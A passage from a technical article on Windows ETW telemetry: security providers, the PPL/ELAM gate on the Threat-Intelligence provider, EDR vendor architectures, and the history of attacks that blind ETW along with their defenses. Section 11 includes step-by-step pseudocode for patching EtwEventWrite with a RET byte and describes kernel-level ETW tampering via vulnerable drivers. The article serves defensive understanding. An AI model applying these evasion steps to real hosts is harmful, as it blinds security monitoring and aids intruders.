The first-ship-build is hedged: the provider GUID and task inventory are well-documented in third-party reverse-engineering primaries, but no Microsoft primary located in the source verification stage pins the exact build. The community reference range is Windows 10 1607 (RS1) through 1709 (RS3). The dispositive practical evidence is Yarden Shafir's 2023 Trail of Bits walkthrough [@trailofbits-shafir] [@trailofbits-shafir], which shows live-debugger output of CSFalconService.exe (CrowdStrike) holding EtwConsumer handles to multiple logger IDs simultaneously. By 2023 third-party EDRs were demonstrably consuming EtwTi at scale.

The catalogue as a single screen

Provider name	GUID	Surface	Gate	Primary source
Microsoft-Windows-Security-Auditing	`{54849625-5478-4994-A5BA-3E3B0328C30D}`	Audit-policy events (4624/4625/4688/...)	None (Local Security Policy)	[@ms-event-4624]
Microsoft-Windows-Kernel-Process	`{22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716}`	Process / thread / image-load events	None (admin)	[@fireeye-silketw-launch], [@gh-jdu2600]
Microsoft-Windows-Kernel-File	(manifest archive)	File I/O syscalls	None (admin)	[@gh-jdu2600], [@gh-repnz]
Microsoft-Windows-Kernel-Network	(manifest archive)	TCP/UDP send/receive	None (admin)	[@gh-jdu2600], [@gh-repnz]
Microsoft-Windows-Kernel-Registry	(manifest archive)	Registry create/open/set/delete	None (admin)	[@gh-jdu2600], [@gh-repnz]
Microsoft-Antimalware-Scan-Interface	`{2A576B87-09A7-520E-C21A-4942F0271D67}`	Post-deobfuscation script content	None (admin)	[@ms-amsi-portal], [@palantir-tampering-wayback]
Microsoft-Windows-PowerShell	`{a0c1853b-5c40-4b15-8766-3cf1c58f985a}`	Script-block logging (4104), pipeline	None (admin)	[@gh-jdu2600]
Microsoft-Windows-DotNETRuntime	`{e13c0d23-ccbc-4e12-931b-d9cc2eee27e4}`	CLR assembly load, JIT, exceptions	None (admin)	[@xpn-hiding-dotnet]
Microsoft-Windows-Sysmon	`{5770385F-C22A-43E0-BF4C-06F5698FFBD9}`	Sysmon driver re-publication	None (admin)	[@gh-jdu2600], [@ms-sysmon]
Microsoft-Windows-Threat-Intelligence	`{f4e1897c-bb5d-5668-f1d8-040f4d8dd344}`	Memory-modifying syscalls (kernel-emitted)	PPL + ELAM (Antimalware signer level)	[@fluxsec-eti], [@elastic-doubling-down]

This is the *security* catalogue. The full Windows manifest-based provider list is roughly 1,300 entries on a current Windows 11 build; performance-tuning, diagnostic, and developer-facing providers fill out the rest. The jdu2600 inventory [@gh-jdu2600] [@gh-jdu2600] tracks the full list across Win10 versions; the repnz archive [@gh-repnz] [@gh-repnz] preserves byte-stable manifest copies for cross-version diffing.

Nine of the ten rows in that table are accessible to any SYSTEM-privileged user-mode service. The tenth -- EtwTi -- requires a passport. The next section is about who issues the passport.

9. The PPL / ELAM gate: why EtwTi is not for everyone

To consume the one ETW provider that fires from the kernel for memory-modifying syscalls, your service must be (a) a Protected Process Light [@paragmali-com-app-ide], (b) signed at the Antimalware signer level with EKU 1.3.6.1.4.1.311.61.4.1, and (c) loaded from disk by an Early Launch Antimalware [@paragmali-com-to-userini] driver registered at boot. Two of those three were not possible for third parties until the Windows 10 RS-era.

fluxsec.red [@fluxsec-eti] [@fluxsec-eti] gives the prerequisite list verbatim:

"In order to start receiving ETW:TI signals, we need: 1. A service running as Protected Process Light, 2. An Early Launch Antimalware driver and certificate, 3. A logging mechanism." -- [@fluxsec-eti]

Each prerequisite has a story.

Protected Process Light at the Antimalware signer level

Windows 8.1 introduced the protected service concept specifically for antimalware engines. The motivation was simple: a malicious process running as administrator should not be able to inject code into the antimalware service or attach a debugger to it. The Microsoft Learn primary [@ms-protect-am] [@ms-protect-am] sets out the model:

"Windows 8.1 introduced a new concept of protected services to protect anti-malware services... In addition to the existing ELAM driver certification requirements, the driver must have an embedded resource section containing the information of the certificates used to sign the user mode service binaries." -- [@ms-protect-am]

PPL is a process-protection level. A given process has a level on the PPL lattice; another process can open it for write or debug only if the requesting process's level is greater than or equal to the target's. Antimalware-PPL is a signer level on that lattice. The kernel admits a process to Antimalware-PPL when its image is signed with a certificate whose EKU includes 1.3.6.1.4.1.311.61.4.1 (Windows Antimalware) and whose certificate is enrolled in an ELAM driver's allow-list at boot.

A Windows process-protection model. Each process has a PPL level; another process may open it for write or debug only if the requestor is at an equal or higher level. Originally introduced for DRM, the lattice was extended in Windows 8.1 to host the Antimalware signer level for protecting antimalware services from administrative-rights attackers. A specific signer level on the PPL lattice. Reserved in Windows 8.1 for Microsoft Defender; opened to third-party EDR vendors via ELAM onboarding in the Windows 10 RS-era. Consumption of the `Microsoft-Windows-Threat-Intelligence` ETW provider is gated at the Antimalware signer level: an `EnableTraceEx2` call from a non-Antimalware-PPL caller against the EtwTi GUID returns `ERROR_ACCESS_DENIED` (the `EnableTraceEx2` [@ms-enabletraceex2] [@ms-enabletraceex2] page documents the error code for callers that lack the documented administrative groups; the per-provider PPL-signer-level check that triggers it for the EtwTi GUID specifically is described in the [@fluxsec-eti] prerequisite list).

Early Launch Antimalware

ELAM is a driver class that loads before any other non-Microsoft boot driver. The Microsoft Learn primary [@ms-elam] [@ms-elam] describes it:

"Because an ELAM service runs as a PPL (Protected Process Light), you need to debug using a kernel debugger... AM drivers are initialized first and allowed to control the initialization of subsequent boot drivers, potentially not initializing unknown boot drivers." -- [@ms-elam]

The boot sequence runs like this. Winload loads the ELAM driver as part of the early-boot path. The ELAM driver registers a callback via IoRegisterBootDriverCallback and gets to inspect each subsequent boot driver, returning a verdict (initialize / do not initialize / unknown) based on the certificate inventory it carries in its embedded resource section. The kernel honours that verdict. After boot drivers settle, the SCM launches the paired user-mode antimalware service with the LaunchProtected = SERVICE_LAUNCH_PROTECTED_ANTIMALWARE_LIGHT flag, and the kernel admits that service to Antimalware-PPL because its signing certificate matches an entry in the ELAM driver's allow-list.

A driver class that loads before any non-Microsoft boot driver. The ELAM driver registers a boot-driver callback to inspect subsequent drivers and an embedded-resource certificate inventory of permitted user-mode antimalware service signatures. Together with PPL, ELAM gates which user-mode antimalware services can pass the Antimalware-PPL admission check.

The 1709 onboarding

Microsoft Defender's MsMpEng.exe ran at the Antimalware signer level by default starting around the Windows 10 1709 timeframe (October 17, 2017), and the same release is widely cited in EDR-vendor documentation as the moment the Antimalware-PPL onboarding was extended to third-party EDR vendors. The Microsoft primary that pins the 1709 third-party onboarding date is not in the public ETW documentation; we treat the date as widely-cited rather than verified.

The dispositive practical evidence is the Trail of Bits 2023 walkthrough by Yarden Shafir [@trailofbits-shafir] [@trailofbits-shafir]. Shafir's WinDbg JS scripts walk the live _ETW_REALTIME_CONSUMER data structures of a running Windows host and print:

"Process CSFalconService.exe with ID 0x1e54 has handle 0x760 to Logger ID 3" -- [@trailofbits-shafir]

That is CrowdStrike's user-mode service, holding a real-time consumer handle to an EtwTi logger session. By 2023 the third-party Antimalware-PPL story is operationally complete.

sequenceDiagram participant BL as Winload (boot) participant EL as ELAM Driver participant SCM as Service Control Manager participant SVC as EDR Service participant K as Kernel ETW BL->>EL: Load ELAM driver (early boot) EL->>EL: Register IoRegisterBootDriverCallback then read embedded cert inventory Note over EL: ELAM gates subsequent boot drivers SCM->>SVC: Start EDR service with PROTECTED_ANTIMALWARE_LIGHT flag K->>SVC: Verify signature against ELAM allow-list K-->>SVC: Admit to Antimalware-PPL SVC->>K: EnableTraceEx2(session, EtwTi GUID, ...) K->>K: Check caller signer level ge Antimalware K-->>SVC: SUCCESS Note over SVC,K: Non-PPL caller would receive ERROR_ACCESS_DENIED here

Why this gate matters for the section 1 hook

The asymmetry that defines the entire generation is one sentence in the fluxsec.red walkthrough [@fluxsec-eti] [@fluxsec-eti]:

We cannot patch out the Threat Intelligence provider as this is emitted from within the kernel itself. To do so, you'd require kernelmode execution and then to patch out those signals so no ETW signals are emitted. -- [@fluxsec-eti]

That is the answer to the puzzle the section 1 hook posed. The Adam Chester 2020 patch operates on a user-mode trampoline in the calling process. ntdll!EtwEventWrite is a stub that calls down through NtTraceEvent into the kernel; rewriting its first byte to 0xC3 short-circuits the user-mode entry path and the calling process emits no events through that stub. But EtwTi does not fire from the user-mode entry path. EtwTi fires from inside the kernel implementation of NtAllocateVirtualMemory and friends, after the syscall has crossed the boundary, on a path the user-mode patcher cannot reach without first achieving kernel execution.

Key idea: EtwTi is the only ETW provider in the catalogue whose producer fires from the kernel side of the syscall path -- and that is exactly why a user-mode patch in the calling process cannot silence it. The PPL+ELAM gate that controls consumer admission is paired with a producer location that no in-process attacker can reach.

The 2017 PPL+ELAM gate was a deliberate structural defense against the patch class that was only fully publicised three years later. By the time Chester wrote his March 2020 post, the load-bearing security signal was already structurally out of reach of his technique.

The combination of PPL and ELAM is not an arbitrary defense-in-depth stack. PPL gates *consumer identity* at signer level: only a binary signed with the Antimalware EKU and enrolled in an ELAM allow-list can subscribe. ELAM gates *load order*: the gate is set during early boot, before any code an attacker could load gets a chance to interfere. The signer-level check is hard because forging the signature requires breaking Microsoft's PKI; the load-order check is hard because subverting it requires compromising the boot path, which Secure Boot and the Vulnerable Driver Blocklist exist to defend.

That is the gate. Now we walk the consumers that pass through it.

10. Six vendors, three spectra: a map of the EDR consumer architecture

Defender, CrowdStrike, SentinelOne, Sysmon, Wazuh, Elastic Defend. They look interchangeable on a vendor comparison sheet. They are not, and the differences are entirely about which substrates each one consumes.

There are three axes that distinguish them.

Axis 1: kernel callbacks vs ETW

Some EDRs consume process-creation events through ETW (subscribing to Microsoft-Windows-Kernel-Process from a SYSTEM-privileged user-mode service). Others register kernel callbacks directly through PsSetCreateProcessNotifyRoutineEx [@ms-pssetprocnotify] [@ms-pssetprocnotify] and PsSetCreateThreadNotifyRoutine [@ms-pssetthreadnotify] [@ms-pssetthreadnotify] from a kernel driver they ship.

The trade-off is sharp. Kernel callbacks are synchronous: the kernel calls into the driver before the operation completes, the driver runs at PASSIVE_LEVEL in the originating thread context with normal kernel APCs disabled, and the driver can deny the operation by writing a non-success status to CreationStatus. ETW is asynchronous: the event is emitted from the producer's hot path, drained from a per-CPU buffer by the writer thread, and delivered to the consumer's callback at some later point. ETW cannot deny anything; it can only observe.

The `PsSetCreate*NotifyRoutine` family of kernel APIs. A driver calls `PsSetCreateProcessNotifyRoutineEx` (process create/exit), `PsSetCreateThreadNotifyRoutine` (thread create/exit), or `PsSetLoadImageNotifyRoutine` (image load) at boot to register a callback. The kernel invokes the callback synchronously, in the originating thread context at PASSIVE_LEVEL with normal kernel APCs disabled. The `Ex` variant of the process callback receives a `CreationStatus` field the driver can write to deny the operation.

CrowdStrike, SentinelOne, Sysmon, and Elastic Defend ship kernel drivers and use callbacks for the latency-critical hot path. Defender uses both -- callbacks from WdFilter.sys and ETW consumption from MsMpEng.exe -- because as the in-box engine it has the institutional position to do so. Wazuh ships no kernel driver; it consumes ETW exclusively via SilkETW-class wrappers, which makes it less invasive but unable to deny.

Axis 2: PPL adoption

Defender (MsMpEng.exe and MsMpEngCP.exe) runs at Antimalware-PPL by default. CrowdStrike's CSFalconService.exe runs at Antimalware-PPL, demonstrably [@trailofbits-shafir] [@trailofbits-shafir]. SentinelOne's SentinelAgent.exe is widely reported to run at Antimalware-PPL via vendor documentation, although it does not appear in the Trail of Bits sample debugger output. Sysmon runs as a protected process but not at the Antimalware signer level [@ms-sysmon] [@ms-sysmon] -- the Microsoft Learn page states "The service runs as a protected process, thus disallowing a wide range of user mode interactions" without naming Antimalware specifically.

Wazuh and Elastic Defend's user-mode services run as standard SYSTEM-privileged services without PPL.

Axis 3: EtwTi consumption

This axis is determined by axis 2. Defender consumes EtwTi by design -- it is the in-box reason EtwTi exists. CrowdStrike and SentinelOne consume EtwTi (the Trail of Bits debugger output is the practical demonstration). Sysmon does not consume EtwTi: it is not Antimalware-PPL, so its EnableTraceEx2 calls against the EtwTi GUID would receive ERROR_ACCESS_DENIED. Sysmon relies on its own SysmonDrv.sys callbacks for the in-memory threat surface that EtwTi covers for the others. Wazuh and Elastic Defend do not consume EtwTi for the same reason; Elastic Defend ships its own kernel driver to compensate [@elastic-doubling-down] [@elastic-doubling-down], using Microsoft-blessed kernel-callback paths for memory events.

Vendor	Process surface	PPL level	EtwTi?	Primary source
Microsoft Defender	Driver callbacks (`WdFilter.sys`) + ETW (`MsMpEng.exe`)	Antimalware-PPL	Yes	[@ms-protect-am]
CrowdStrike Falcon	Driver callbacks + ETW	Antimalware-PPL	Yes ([@trailofbits-shafir] live evidence)	[@trailofbits-shafir]
SentinelOne	Driver callbacks + ETW	Antimalware-PPL	Widely reported	-- (vendor docs; SentinelAgent.exe not in [@trailofbits-shafir] sample)
Sysmon	`SysmonDrv.sys` callbacks; publishes via own ETW provider	Protected (not Antimalware)	No	[@ms-sysmon]
Wazuh	ETW only (SilkETW-class)	Standard SYSTEM	No	--
Elastic Defend	Own kernel driver + ETW	Standard SYSTEM	No	[@elastic-doubling-down]

Sysmon is worth singling out as the canonical callback-then-publish reference architecture. Its kernel driver registers PsSetCreate*NotifyRoutine callbacks; its user-mode service consumes the events the driver delivers; and the service then publishes them via its own Microsoft-Windows-Sysmon ETW provider for any downstream consumer (a SIEM forwarder, a SOC dashboard, a custom analytic) to read. The result is that Sysmon's events are universally consumable -- which is why Wazuh and Splunk both ship Sysmon configurations as their default kernel-event source.

Sysmon's design choice is the reference architecture for the callback-then-publish pattern, even though Sysmon is not itself an Antimalware-PPL EDR. By publishing through its own ETW provider rather than writing to a private channel, Sysmon makes its events consumable by any downstream pipeline. Wazuh and the Splunk Universal Forwarder can both ingest Sysmon events without any custom integration work. This is why Sysmon, despite being free, is the de facto kernel-event source for the open-source SIEM world. flowchart LR K[Kernel callbacks
synchronous, can deny] --- L1[Sysmon driver] K --- L2[CrowdStrike driver] K --- L3[SentinelOne driver] K --- L4[Elastic driver] K --- L5[Defender WdFilter.sys] M[ETW providers
asynchronous, observe-only
up to 8 consumers per provider] --- M1[Defender MsMpEng] M --- M2[CrowdStrike service] M --- M3[SentinelOne service] M --- M4[Sysmon service] M --- M5[Wazuh ETW reader] M --- M6[Elastic Defend service] K -.latency-vs-coupling axis.-> M

The CrowdStrike July 2024 channel-file outage was a kernel-driver brittleness story, not an ETW story. The Falcon kernel driver's content-update parser dereferenced an out-of-bounds pointer when processing a channel file whose Rapid Response Content template had 21 input fields while the sensor's Content Interpreter expected only 20, triggering an out-of-bounds array read, BSOD-ing roughly 8.5 million Windows hosts [@ms-crowdstrike-2024][@crowdstrike-rca-2024]. That story belongs to the App Identity in Windows article [@paragmali-com-app-ide] in this series; it is mentioned here only to mark that the cost of the synchronous-kernel-driver path is a higher blast radius when the driver itself is buggy.

A note on Defender's cloud schema. The events that surface in Microsoft Defender for Endpoint's hunting tables -- DeviceProcessEvents, DeviceFileEvents, DeviceNetworkEvents, DeviceImageLoadEvents, DeviceRegistryEvents -- are the cloud-side abstraction over the kernel and ETW telemetry the Defender sensor collects locally. The full schema mapping from ETW provider to cloud column is out of scope here, but the substrate is the same.

Six vendors, three axes, one substrate. Now we walk the attack tradition that the substrate has to survive.

11. The attack tradition: five generations of trying to blind ETW

Every generation of ETW has been attacked. Some attacks broke a single provider; some broke every user-mode provider on a host; one would, if it worked at scale, break Defender. The defense story is on the same five-generation timeline.

Gen 1 (2014-2018): autologger registry tampering

The dispositive taxonomy is Matt Graeber and Lee Christensen's December 24, 2018 Palantir CIRT post [@palantir-tampering-wayback] [@palantir-tampering-wayback], preserved in the Wayback Machine because the direct Medium URL has since returned HTTP 403 to non-browser fetchers. The opening framing is verbatim:

"Event Tracing for Windows (ETW) is the mechanism Windows uses to trace and log system events. Attackers often clear event logs to cover their tracks. Though the act of clearing an event log itself generates an event, attackers who know ETW well may take advantage of tampering opportunities to cease the flow of logging temporarily or even permanently, without generating any event log entries in the process." -- [@palantir-tampering-wayback]

Graeber and Christensen split the technique into two classes. Persistent tampering writes to the autologger registry path described in section 6, disabling a session before it ever starts at next boot; the events of interest are never captured because the session is never running. Ephemeral tampering targets a live session: stopping the session via ControlTrace, removing a provider from a session via EnableTraceEx2(EVENT_CONTROL_CODE_DISABLE_PROVIDER, ...), or directly clearing the session's buffers.

The defense is direct: monitor the autologger registry surface. Sysmon Event ID 13 [@ms-sysmon] surfaces registry value-set events in HKLM\SYSTEM\CurrentControlSet\Control\WMI\Autologger\; a SOC playbook that alerts on any unexpected write to that subtree catches the persistent class of attack reliably. Matt Graeber's authorship is cross-confirmed by the palantir/exploitguard repository [@gh-palantir-exploitguard] [@gh-palantir-exploitguard], which credits him as the lead researcher on the ETW work.

Gen 2 (2020): user-mode `EtwEventWrite` 0xC3 RET patch

The technique that made ETW patching a household tradecraft term is Adam Chester's "Hiding your .NET - ETW", March 17, 2020 [@xpn-hiding-dotnet] [@xpn-hiding-dotnet]. The mechanic is one byte:

Locate ntdll!EtwEventWrite (or in modern variants ntdll!NtTraceEvent) in the calling process's memory.
Use VirtualProtect to make the page writable.
Write the byte 0xC3 over the function's first byte.
Restore the page protection.

0xC3 is the near-return opcode [@felixcloutier-ret] [@felixcloutier-ret]: "C3 RET ZO Valid Valid Near return to calling procedure." Any caller into the function falls straight back to its return address before producing a single event. The calling process now silently fails to emit any user-mode ETW events for any provider that funnels through the patched stub -- including Microsoft-Windows-DotNETRuntime.

The technique has been re-implemented in every language that can call VirtualProtect. The fluxsec.red Rust port [@fluxsec-etw-patching] [@fluxsec-etw-patching] explains the modern variant verbatim:

"When a ETW Provider sends a notification, it will eventually reach into ntdll.dll for the function NtTraceEvent... we can simply patch the function address to return straight from byte 0. The opcode for a ret is C3, so we can swap out the opcode 4C with C3 to immediately return out of the stub." -- [@fluxsec-etw-patching]

Here is the structure of the patch in TypeScript pseudocode -- not actually runnable Win32, but mirroring exactly what a Windows binary would do:

{` // Pseudocode: silence user-mode ETW for the calling process. // This silences only the calling process and only user-mode providers // that funnel through the patched stub.

// 1. Resolve the address of ntdll!EtwEventWrite in this process. const ntdll = getModuleHandle("ntdll.dll"); const fn = getProcAddress(ntdll, "EtwEventWrite");

// 2. Make the function's first page writable. const PAGE_EXECUTE_READWRITE = 0x40; let oldProtect = 0; virtualProtect(fn, 1, PAGE_EXECUTE_READWRITE, /* out */ ref(oldProtect));

// 3. Write 0xC3 (RET) over the first byte. Caller now returns immediately. writeByte(fn, 0xC3);

// 4. Restore original page protection. virtualProtect(fn, 1, oldProtect, /* out */ ref(oldProtect));

// Limits: // - Silences only this process. // - Silences only providers whose emit path funnels through this stub. // - Cannot silence kernel-emitted providers like Microsoft-Windows-Threat-Intelligence. `}

Note: The patch operates on the calling process's user-mode trampoline. Other processes on the host are unaffected; their ETW emissions continue normally. Kernel-emitted providers like Microsoft-Windows-Threat-Intelligence are unaffected even in the patched process; they fire from the kernel side of the syscall path, after control has crossed the user/kernel boundary, on a code path the user-mode patcher cannot reach without first achieving kernel execution.

Gen 3 (2021-2023): kernel-mode primitives

If a user-mode patch cannot reach EtwTi, can a kernel-mode patch? Yes -- but the attacker first needs kernel execution. The most common path is BYOVD [@paragmali-com-in-windows]: load a signed but vulnerable driver and use its primitive to read or write kernel memory. Once you can write kernel memory you can target ETW's internal data structures directly.

Binarly's Black Hat Europe 2021 talk [@binarly-edr] [@binarly-edr] documents the surface verbatim:

Many ways to disable ETW logging are publicly available from passing a TRUE boolean parameter into a `nt!EtwpStopTrace` function to finding an ETW specific structure and dynamically modifying it or patching `ntdll!ETWEventWrite` or `advapi32!EventWrite` to return immediately thus stopping the user-mode loggers. -- [@binarly-edr]

The kernel-side primitives Binarly enumerates target the _ETW_GUID_ENTRY structure for a provider, the EtwpRegistration linked list of registered providers, and the EtwpEventTracingProhibited flag the kernel checks before emitting events. Yarden Shafir's 2023 Trail of Bits walkthrough [@trailofbits-shafir] [@trailofbits-shafir] provides the contemporary kernel-side data structure walk through _ETW_REALTIME_CONSUMER and _ETW_SILODRIVERSTATE, and notes:

"Most recently, the Lazarus Group bypassed EDR detection by disabling ETW providers" -- [@trailofbits-shafir]

The architectural-level treatment is well-documented; the specific kernel offsets that change between Windows builds are a moving target. We treat the technique class as well-established and the per-build offset details as out of scope.

Defense Gen 1 (2017): Antimalware-PPL + ELAM gate on EtwTi

Section 9 covered this in detail. The point to record here, in the attack-tradition timeline, is that the Antimalware-PPL gate predates the Adam Chester 2020 user-mode patch by three years. Microsoft did not respond to Chester's post; they had already put the load-bearing security signal structurally out of reach of any user-mode patch in the calling process. The user-mode patch class is generic against Microsoft-Windows-DotNETRuntime and the rest of the user-mode catalogue; it is structurally impotent against Microsoft-Windows-Threat-Intelligence.

Defense Gen 2 (2022): Vulnerable Driver Blocklist on by default

The kernel-mode primitive class needs a kernel write. Without a vulnerability in the EDR's kernel driver, the realistic path is BYOVD: load a third-party signed driver that exposes a memory-write primitive. The structural defense is Microsoft's Vulnerable Driver Blocklist [@ms-vdb] [@ms-vdb]:

Since the Windows 11 2022 update, the vulnerable driver blocklist is enabled by default for all devices, and can be turned on or off via the Windows Security app... the vulnerable driver blocklist is also enforced when either memory integrity, also known as hypervisor-protected code integrity (HVCI), Smart App Control, or S mode is active... The blocklist is updated quarterly. In addition, blocklist updates are delivered through the monthly Windows updates as part of the standard servicing process. -- [@ms-vdb]

The blocklist enumerates known-vulnerable signed drivers by hash; the kernel refuses to load anything on the list. On a Windows 11 22H2-or-later host with the default settings, the BYOVD primitive against most known-vulnerable drivers is closed. With HVCI on, the closure is enforced even against attackers who would otherwise try to load drivers via legacy paths. The empirical bound is the LOLDrivers project's catalogue of known-vulnerable drivers; the blocklist tracks public discovery with a lag of approximately one quarter, which is the residual window an attacker can exploit before a freshly disclosed driver is added.

The attack pattern of loading a known-vulnerable but signed driver to obtain a kernel-mode primitive (memory read, memory write, or arbitrary code execution). Used in real-world EDR-blinding attacks, including by the Lazarus Group as cited in Trail of Bits' 2023 ETW walk [@trailofbits-shafir]. The Microsoft-maintained blocklist of known-vulnerable signed drivers, by hash. Enabled by default on Windows 11 22H2 and later. Enforced more strictly when HVCI, Smart App Control, or S mode is active. Updated quarterly per the Microsoft Learn primary [@ms-vdb].

The LOLDrivers project [@loldrivers] [@loldrivers] is the empirical anchor for the BYOVD lag story. It catalogues known-vulnerable signed drivers as a community resource; the Microsoft blocklist updates quarterly, but blocklist updates are also delivered through monthly Windows servicing, so a freshly-disclosed driver can live in an exploitation window of as short as ~1 month (via Patch Tuesday) or up to a full quarter before its hash is added.

flowchart LR subgraph Attacks A1["Gen 1 2014-2018: Autologger registry tampering -- Palantir CIRT taxonomy"] A2["Gen 2 2020: EtwEventWrite 0xC3 RET -- Adam Chester"] A3["Gen 3 2021-2023: Kernel _ETW_GUID_ENTRY -- EtwpRegistration EtwpStopTrace via BYOVD"] end subgraph Defenses D1["Sysmon Event ID 13 -- monitor Autologger subtree"] D2["Antimalware-PPL plus ELAM -- gate on EtwTi 2017"] D3["Vulnerable Driver Blocklist -- default-on Win11 22H2 plus HVCI"] end A1 --> D1 A2 --> D2 A3 --> D3

The 2026 picture

User-mode patching cannot reach the kernel-mode provider that EDR cares about. The BYOVD primitive that could reach it is structurally narrowed by default on supported hardware. The remaining gap is the long tail of newly-disclosed vulnerable drivers between disclosure and blocklist update, plus any custom kernel zero-day an attacker discovers in an EDR's own driver. Both are real, both are exploited in the wild, neither is the universally-applicable evasion the 2020-era user-mode patch class was.

That is the operational story. But ETW has structural limits even when no attacker is patching anything.

12. Theoretical limits: what ETW cannot see, even with every defence engaged

Even on a perfectly-configured Windows 11 box -- HVCI [@paragmali-com-in-windows] on, Vulnerable Driver Blocklist on, Antimalware-PPL Defender consuming EtwTi, third-party EDR ELAM-onboarded -- there are events ETW does not emit. Some are observed too late. Some are not observed at all.

There are three structural ceilings.

Pre-ETW kernel paths

The Global Logger session is one of the earliest things to come up at boot, but it is not the first. Some early-init driver paths run before any ETW session exists; they cannot be traced via ETW. Measured Boot is the discipline that records this prefix into TPM PCRs, with attestation handled by the platform integrity layer rather than by ETW. The implication for EDR is that any malicious code executing during early boot, before the Global Logger session is up, is invisible to ETW.

Incomplete EtwTi syscall coverage

The 10 KERNEL_THREATINT_TASK_* task IDs are the public surface. The underlying syscall set the kernel actually instruments is not exhaustively documented. The fluxsec.red inventory [@fluxsec-eti] [@fluxsec-eti] is the public surface, not the private one. Some syscalls are clearly covered (NtAllocateVirtualMemory for cross-process allocation surfaces as KERNEL_THREATINT_TASK_ALLOCVM); some have partial coverage (MAPVIEW_LOCAL and MAPVIEW_REMOTE keywords cover some but not all of the section-mapping primitive set across NtCreateSection, NtMapViewOfSection, NtMapViewOfSectionEx, image-section vs file-section variants); some are not enumerated at all in the public manifest. Process-hollowing primitives that combine NtUnmapViewOfSection and NtMapViewOfSection may be partially covered depending on which path the attacker takes.

The async-flush gap

ETW's per-CPU ring buffer is asynchronous. If a process allocates RWX memory, writes shellcode, executes it, and returns within one writer-thread flush interval, the event is recorded but the attacker's payload has already executed. The synchronous denial primitive on Windows belongs to kernel notify routines, not to ETW. The Microsoft Learn primary on About Event Tracing [@ms-about-etw] [@ms-about-etw] is explicit that events can be lost:

"Events can be lost if any of the following conditions occur ... The total event size is greater than 64K ... The disk is too slow to keep up with the rate at which events are being generated. ... For real-time logging, the real-time consumer is not consuming events fast enough." -- [@ms-about-etw]

No ETW-only EDR can prevent a syscall whose payload completes inside one writer flush. EDRs that ship a kernel driver and register synchronous callbacks (CrowdStrike, SentinelOne, Sysmon, Elastic Defend) can deny operations through the PsSetCreateProcessNotifyRoutineEx [@ms-pssetprocnotify] [@ms-pssetprocnotify] CreationStatus field; ETW-only EDRs cannot. ETW is observation, not enforcement.

Key idea: ETW is observation, not enforcement. The synchronous denial primitive on Windows belongs to kernel notify routines, not to ETW. Sub-microsecond payloads execute before the writer thread flushes; the layered defense stack of 2026 is an empirical bar, not a theoretical guarantee.

The VBS-backed code-integrity enforcement for kernel-mode code on Windows. With HVCI enabled, the hypervisor enforces that only signed kernel pages can execute. Closes the attack class that loads unsigned drivers; combined with the Vulnerable Driver Blocklist it closes most of the realistic BYOVD primitive surface as well.

The "events can be lost" enumeration in [@ms-about-etw] is the dispositive Microsoft acknowledgement of ETW's lossy substrate. SOC playbooks should treat ETW telemetry as best-effort, not as a guaranteed audit trail. Forensic claims that depend on completeness need an independent corroborating source.

Note: A detection-only EDR can alert on a malicious operation, but only after the operation has happened. By the time the SOC sees the alert, the syscall has completed, the shellcode has executed, the credentials have been stolen. This is why the kernel-callback path (with its ability to deny via CreationStatus) coexists with ETW even though ETW is more flexible: a SOC playbook needs both the speed of denial and the breadth of observation.

The 2026 layered stack -- Antimalware-PPL + EtwTi + HVCI + VBL -- raises the empirical bar enormously. It does not close the architectural gap. Sub-microsecond payloads still execute before the writer thread flushes. The BYOVD primitive on a non-HVCI box still defeats the kernel-callback layer. There are still problems the substrate cannot solve in principle.

Those are the limits we can describe. The next section is about the limits we cannot yet measure.

13. Open problems: keyword drift, secure kernel ETW, and the BYOVD arms race

The 2026 state of the art has five active open problems. Each has a partial workaround; none has a complete solution.

1. EtwTi keyword inventory drift across builds

Microsoft has not published a complete, current Microsoft-Windows-Threat-Intelligence keyword inventory. The community-maintained references -- the jdu2600 cross-build inventory [@gh-jdu2600] [@gh-jdu2600] and the repnz manifest archive [@gh-repnz] [@gh-repnz] -- are partial coverage and lag Microsoft's quarterly servicing cadence. EDR vendors that hard-code keyword bitmasks against an old build can silently miss events on newer builds because the keyword definitions have shifted underneath them. Detection engineers writing rules against KERNEL_THREATINT_TASK_* IDs that move between builds can get false negatives.

There are three plausible reasons, and Microsoft has not stated which (or which combination) is operative. *Operational secrecy*: a complete keyword inventory tells attackers exactly which syscall paths are observed and which are not, narrowing the search for evasion paths. *Documentation cost*: the inventory shifts every build, and maintaining a synchronised public reference is engineering work without an obvious internal champion. *Deliberate moving target*: keeping the public surface incomplete forces attackers to reverse-engineer per build, raising the cost of stable evasion. The community references partially defeat all three rationales; the absence remains.

2. Secure ETW (the `EtwSi*` family)

Windows VBS Trustlets run in the Secure Kernel (VTL1), insulated from the normal-world kernel (VTL0) by the hypervisor. The Secure Kernel exposes its own ETW family for VTL1 components; this is enumerated in fragments in Alex Ionescu's BlackHat 2015 deck on the Secure Kernel and in subsequent BlueHatIL talks. There is no public consumer-facing primary on EtwSi* in 2026. Cross-link: this article's companion piece on VBS Trustlets [@paragmali-vbs-trustlets] [@paragmali-vbs-trustlets] covers the producer side of the story.

3. Forensic soundness of ETW telemetry

ETW is lossy by design (per the [@ms-about-etw] enumeration). Whether ETW-derived telemetry is forensically sound -- chain-of-custody complete, lossless under load, attestable as untampered between event emission and SIEM ingestion -- is an open question. Courts have not ruled. The current best partial result is to treat ETW as supporting evidence and require independent corroboration (file-system snapshots, network captures, OS state captures) for any claim that depends on completeness. Sysmon's Event ID 16 (Sysmon configuration changed) [@ms-sysmon] and the autologger registry write events on HKLM\SYSTEM\CurrentControlSet\Control\WMI\Autologger\ are useful integrity signals: an attacker who silenced ETW typically leaves a footprint here.

4. The BYOVD arms race

The Vulnerable Driver Blocklist [@ms-vdb] [@ms-vdb] is hash-based and updated quarterly. The LOLDrivers project [@loldrivers] [@loldrivers] documents the public catalogue of known-vulnerable signed drivers. The gap between disclosure and blocklist update--as short as ~1 month via Patch Tuesday or up to a full quarter--is the residual exploitation window. The deeper structural issue is that the blocklist is hash-based; an attacker who finds a new vulnerability in a previously-trusted signed driver enjoys a fresh window every quarter. Closing this gap requires either a different trust model (allow-listing of known-good drivers, as Smart App Control does for executables) or behavioural detection of suspicious driver loads. Both are active areas of work.

5. Cross-process section-mapping coverage

